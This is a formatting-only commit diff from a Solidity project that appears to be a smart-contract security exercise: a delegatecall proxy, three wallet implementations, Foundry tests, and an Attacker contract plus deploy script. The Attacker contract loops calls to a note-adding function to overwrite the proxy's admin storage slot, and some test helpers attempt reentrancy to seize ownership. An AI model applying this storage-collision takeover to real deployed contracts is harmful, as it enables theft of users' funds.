Skip to content

Commit 33d8242

Browse files
committed
chore: apply formatting
1 parent 39795ea commit 33d8242

12 files changed

+49
-122
lines changed

script/DeployAttack.s.sol

+1-1
Original file line numberDiff line numberDiff line change
@@ -16,4 +16,4 @@ contract Attack is Script {
1616
attacker.setNewOwner(newOwner);
1717
console.log(address(attacker));
1818
}
19-
}
19+
}

src/Attacker.sol

+3-9
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,7 @@ import {Wallet3} from "../src/Wallet3.sol";
66
contract Attacker {
77
Wallet3 public immutable target;
88
address public newAdmin;
9-
bytes32 internal constant ADMIN_SLOT =
10-
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0d00;
11-
9+
bytes32 internal constant ADMIN_SLOT = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0d00;
1210

1311
event AdminWritten();
1412

@@ -21,12 +19,8 @@ contract Attacker {
2119
}
2220

2321
function attack() public {
24-
uint256 diff = uint256(
25-
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cfb
26-
) -
27-
uint256(
28-
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
29-
);
22+
uint256 diff = uint256(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cfb)
23+
- uint256(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6);
3024
for (uint256 i = 0; i < diff + 1; i++) {
3125
target.addNote3dee(bytes32(abi.encode(address(this))));
3226
}

src/Proxy.sol

+5-18
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,8 @@
22
pragma solidity ^0.8.13;
33

44
contract Proxy {
5-
bytes32 internal constant ADMIN_SLOT =
6-
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0d00;
7-
bytes32 internal constant IMPLEMENTATION =
8-
0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cfb;
5+
bytes32 internal constant ADMIN_SLOT = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0d00;
6+
bytes32 internal constant IMPLEMENTATION = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cfb;
97

108
constructor(address _implementation) {
119
address admin = msg.sender;
@@ -54,22 +52,11 @@ contract Proxy {
5452
address implementation = getImplementation1599d();
5553
assembly {
5654
calldatacopy(0, 0, calldatasize())
57-
let result := delegatecall(
58-
gas(),
59-
implementation,
60-
0,
61-
calldatasize(),
62-
0,
63-
0
64-
)
55+
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
6556
returndatacopy(0, 0, returndatasize())
6657
switch result
67-
case 0 {
68-
revert(0, returndatasize())
69-
}
70-
default {
71-
return(0, returndatasize())
72-
}
58+
case 0 { revert(0, returndatasize()) }
59+
default { return(0, returndatasize()) }
7360
}
7461
}
7562

src/Wallet1.sol

+2-2
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ contract Wallet1 {
77
event Distributed(address recipient);
88
event OwnerChanged(address newOwner);
99

10-
modifier nonreentrant {
10+
modifier nonreentrant() {
1111
assembly {
1212
if tload(0) { revert(0, 0) }
1313
tstore(0, 1)
@@ -31,7 +31,7 @@ contract Wallet1 {
3131
}
3232

3333
function distribute38c1b(address recipient) public onlyOwner nonreentrant {
34-
(bool success, ) = payable(recipient).call{value: 0.5 ether}("");
34+
(bool success,) = payable(recipient).call{value: 0.5 ether}("");
3535
require(success, "Recipient should accept ether");
3636
emit Distributed(recipient);
3737
}

src/Wallet2.sol

+1-1
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ contract Wallet2 {
1818
}
1919

2020
function gift1a6e9(address recipient) public onlyOwner {
21-
(bool success, ) = payable(recipient).call{value: 0.5 ether}("");
21+
(bool success,) = payable(recipient).call{value: 0.5 ether}("");
2222
require(success, "Recipient should accept ether");
2323
emit Gifted(recipient);
2424
}

src/Wallet3.sol

+1-1
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ contract Wallet3 {
1919
}
2020

2121
function send47de(address recipient) public onlyOwner {
22-
(bool success, ) = payable(recipient).call{value: 0.5 ether}("");
22+
(bool success,) = payable(recipient).call{value: 0.5 ether}("");
2323
require(success, "Recipient should accept ether");
2424
emit Sent(recipient);
2525
}

test/Proxy.t.sol

+4-3
Original file line numberDiff line numberDiff line change
@@ -59,14 +59,14 @@ contract ProxyTest is Test {
5959
}
6060

6161
// Test implementation change functionality
62-
function testsetImplementation743aByAdmin() public {
62+
function testsetImplementation743aByAdmin() public {
6363
vm.prank(admin);
6464
proxy.setImplementation743a(implementation2);
6565
assertEq(proxy.getImplementation1599d(), implementation2, "Implementation should be updated");
6666
}
6767

6868
// Test preventing non-admin from changing implementation
69-
function testCannotsetImplementation743aByNonAdmin() public {
69+
function testCannotsetImplementation743aByNonAdmin() public {
7070
vm.prank(randomUser);
7171
vm.expectRevert(bytes("nope"));
7272
proxy.setImplementation743a(implementation2);
@@ -84,9 +84,10 @@ contract ProxyTest is Test {
8484
assertEq(proxiedImplementation.getValue(), 42, "Value should be set via delegatecall");
8585
}
8686
// Fuzz test for admin change
87+
8788
function testFuzzsetAdmin17e0(address fuzzyNewAdmin) public {
8889
vm.prank(admin);
8990
proxy.setAdmin17e0(fuzzyNewAdmin);
9091
assertEq(proxy.getAdmin397fa(), fuzzyNewAdmin, "Admin should be set to fuzzy address");
9192
}
92-
}
93+
}

test/TestSetupWallet1.t.sol

+8-39
Original file line numberDiff line numberDiff line change
@@ -7,12 +7,7 @@ import {Wallet1} from "../src/Wallet1.sol";
77

88
contract ReentrancyTest {
99
function reenter() public {
10-
(bool success, ) = msg.sender.call(
11-
abi.encodeWithSelector(
12-
Wallet1.changeOwner1da7b.selector,
13-
address(this)
14-
)
15-
);
10+
(bool success,) = msg.sender.call(abi.encodeWithSelector(Wallet1.changeOwner1da7b.selector, address(this)));
1611
require(success);
1712
}
1813

@@ -37,16 +32,8 @@ contract TestSetupWallet1 is Test {
3732
}
3833

3934
function testInitialState() public {
40-
assertEq(
41-
proxyWallet.getOwner15569(),
42-
address(owner),
43-
"Owner should be contract deployer"
44-
);
45-
assertEq(
46-
proxy.getImplementation1599d(),
47-
address(wallet1),
48-
"Implementation should be set correctly"
49-
);
35+
assertEq(proxyWallet.getOwner15569(), address(owner), "Owner should be contract deployer");
36+
assertEq(proxy.getImplementation1599d(), address(wallet1), "Implementation should be set correctly");
5037
}
5138

5239
function testReinitialize() public {
@@ -61,17 +48,10 @@ contract TestSetupWallet1 is Test {
6148
uint256 balanceBefore = fuzzyRecipient.balance;
6249
vm.broadcast(owner);
6350
proxyWallet.distribute38c1b(fuzzyRecipient);
64-
assertEq(
65-
fuzzyRecipient.balance,
66-
balanceBefore + 0.5 ether,
67-
"Recipient should receive 0.5 ether"
68-
);
51+
assertEq(fuzzyRecipient.balance, balanceBefore + 0.5 ether, "Recipient should receive 0.5 ether");
6952
}
7053

71-
function testShouldDistributeFail(
72-
address fuzzyRecipient,
73-
address fuzzySender
74-
) public {
54+
function testShouldDistributeFail(address fuzzyRecipient, address fuzzySender) public {
7555
vm.assume(fuzzySender != owner);
7656
vm.broadcast(fuzzySender);
7757
vm.expectRevert(bytes("nope"));
@@ -81,17 +61,10 @@ contract TestSetupWallet1 is Test {
8161
function testShouldchangeOwner1da7b(address fuzzyNewOwner) public {
8262
vm.broadcast(owner);
8363
proxyWallet.changeOwner1da7b(fuzzyNewOwner);
84-
assertEq(
85-
proxyWallet.getOwner15569(),
86-
fuzzyNewOwner,
87-
"Owner should be changed to fuzzy address"
88-
);
64+
assertEq(proxyWallet.getOwner15569(), fuzzyNewOwner, "Owner should be changed to fuzzy address");
8965
}
9066

91-
function testShouldchangeOwner1da7bFail(
92-
address fuzzyNewOwner,
93-
address fuzzySender
94-
) public {
67+
function testShouldchangeOwner1da7bFail(address fuzzyNewOwner, address fuzzySender) public {
9568
vm.assume(fuzzySender != owner);
9669
vm.broadcast(fuzzySender);
9770
vm.expectRevert(bytes("nope"));
@@ -103,10 +76,6 @@ contract TestSetupWallet1 is Test {
10376
vm.broadcast(owner);
10477
vm.expectRevert(bytes("Recipient should accept ether"));
10578
proxyWallet.distribute38c1b(payable(address(attacker)));
106-
assertEq(
107-
proxyWallet.getOwner15569(),
108-
owner,
109-
"Owner should be contract deployer"
110-
);
79+
assertEq(proxyWallet.getOwner15569(), owner, "Owner should be contract deployer");
11180
}
11281
}

test/TestSetupWallet2.t.sol

+1-1
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ import {Wallet2} from "../src/Wallet2.sol";
77

88
contract ReentrancyTest {
99
function reenter() internal {
10-
(bool success, ) = msg.sender.call(abi.encodeWithSelector(Wallet2.changeOwner1c104.selector, address(this)));
10+
(bool success,) = msg.sender.call(abi.encodeWithSelector(Wallet2.changeOwner1c104.selector, address(this)));
1111
require(success);
1212
}
1313

test/Wallet1.t.sol

+7-15
Original file line numberDiff line numberDiff line change
@@ -35,15 +35,11 @@ contract Wallet1Test is Test {
3535

3636
function testDistributeByOwner() public {
3737
uint256 recipientBalanceBefore = recipient.balance;
38-
38+
3939
vm.broadcast(owner);
4040
wallet.distribute38c1b(recipient);
4141

42-
assertEq(
43-
recipient.balance,
44-
recipientBalanceBefore + 0.5 ether,
45-
"Recipient should receive 0.5 ether"
46-
);
42+
assertEq(recipient.balance, recipientBalanceBefore + 0.5 ether, "Recipient should receive 0.5 ether");
4743
}
4844

4945
function testCannotDistributeByNonOwner() public {
@@ -82,16 +78,12 @@ contract Wallet1Test is Test {
8278
// Receive function test
8379
function testReceive() public {
8480
uint256 walletBalanceBefore = address(wallet).balance;
85-
81+
8682
vm.deal(randomUser, 1 ether);
8783
vm.prank(randomUser);
88-
(bool success, ) = address(wallet).call{value: 0.5 ether}("");
89-
84+
(bool success,) = address(wallet).call{value: 0.5 ether}("");
85+
9086
assertTrue(success, "Recipient should accept ether");
91-
assertEq(
92-
address(wallet).balance,
93-
walletBalanceBefore + 0.5 ether,
94-
"Wallet balance should increase"
95-
);
87+
assertEq(address(wallet).balance, walletBalanceBefore + 0.5 ether, "Wallet balance should increase");
9688
}
97-
}
89+
}

test/Wallet2.t.sol

+7-16
Original file line numberDiff line numberDiff line change
@@ -33,18 +33,13 @@ contract Wallet2Test is Test {
3333
wallet.initialize59ad(owner);
3434
}
3535

36-
3736
function testDistributeByOwner() public {
3837
uint256 recipientBalanceBefore = recipient.balance;
39-
38+
4039
vm.prank(owner);
4140
wallet.gift1a6e9(recipient);
4241

43-
assertEq(
44-
recipient.balance,
45-
recipientBalanceBefore + 0.5 ether,
46-
"Recipient should receive 0.5 ether"
47-
);
42+
assertEq(recipient.balance, recipientBalanceBefore + 0.5 ether, "Recipient should receive 0.5 ether");
4843
}
4944

5045
function testCannotDistributeByNonOwner() public {
@@ -76,16 +71,12 @@ contract Wallet2Test is Test {
7671
// Receive function test
7772
function testReceive() public {
7873
uint256 walletBalanceBefore = address(wallet).balance;
79-
74+
8075
vm.deal(randomUser, 1 ether);
8176
vm.prank(randomUser);
82-
(bool success, ) = address(wallet).call{value: 0.5 ether}("");
83-
77+
(bool success,) = address(wallet).call{value: 0.5 ether}("");
78+
8479
assertTrue(success, "Recipient should accept ether");
85-
assertEq(
86-
address(wallet).balance,
87-
walletBalanceBefore + 0.5 ether,
88-
"Wallet balance should increase"
89-
);
80+
assertEq(address(wallet).balance, walletBalanceBefore + 0.5 ether, "Wallet balance should increase");
9081
}
91-
}
82+
}

test/Wallet3.t.sol

+9-16
Original file line numberDiff line numberDiff line change
@@ -35,15 +35,11 @@ contract Wallet3Test is Test {
3535

3636
function testDistributeByOwner() public {
3737
uint256 recipientBalanceBefore = recipient.balance;
38-
38+
3939
vm.broadcast(owner);
4040
wallet.send47de(recipient);
4141

42-
assertEq(
43-
recipient.balance,
44-
recipientBalanceBefore + 0.5 ether,
45-
"Recipient should receive 0.5 ether"
46-
);
42+
assertEq(recipient.balance, recipientBalanceBefore + 0.5 ether, "Recipient should receive 0.5 ether");
4743
}
4844

4945
function testCannotDistributeByNonOwner() public {
@@ -62,18 +58,15 @@ contract Wallet3Test is Test {
6258
// Receive function test
6359
function testReceive() public {
6460
uint256 walletBalanceBefore = address(wallet).balance;
65-
61+
6662
vm.deal(randomUser, 1 ether);
6763
vm.prank(randomUser);
68-
(bool success, ) = address(wallet).call{value: 0.5 ether}("");
69-
64+
(bool success,) = address(wallet).call{value: 0.5 ether}("");
65+
7066
assertTrue(success, "Receive function should accept ether");
71-
assertEq(
72-
address(wallet).balance,
73-
walletBalanceBefore + 0.5 ether,
74-
"Wallet balance should increase"
75-
);
67+
assertEq(address(wallet).balance, walletBalanceBefore + 0.5 ether, "Wallet balance should increase");
7668
}
69+
7770
function testaddNote3deeByOwner() public {
7871
bytes32 testNote = "Test Note";
7972

@@ -90,10 +83,10 @@ contract Wallet3Test is Test {
9083
vm.stopPrank();
9184
}
9285

93-
function testFuzzaddNote3dee(bytes32 fuzzyNote) public {
86+
function testFuzzaddNote3dee(bytes32 fuzzyNote) public {
9487
vm.broadcast(owner);
9588
wallet.addNote3dee(fuzzyNote);
9689

9790
assertEq(wallet.getNote179e(0), fuzzyNote, "Fuzzy note should be added");
9891
}
99-
}
92+
}

0 commit comments

Comments
 (0)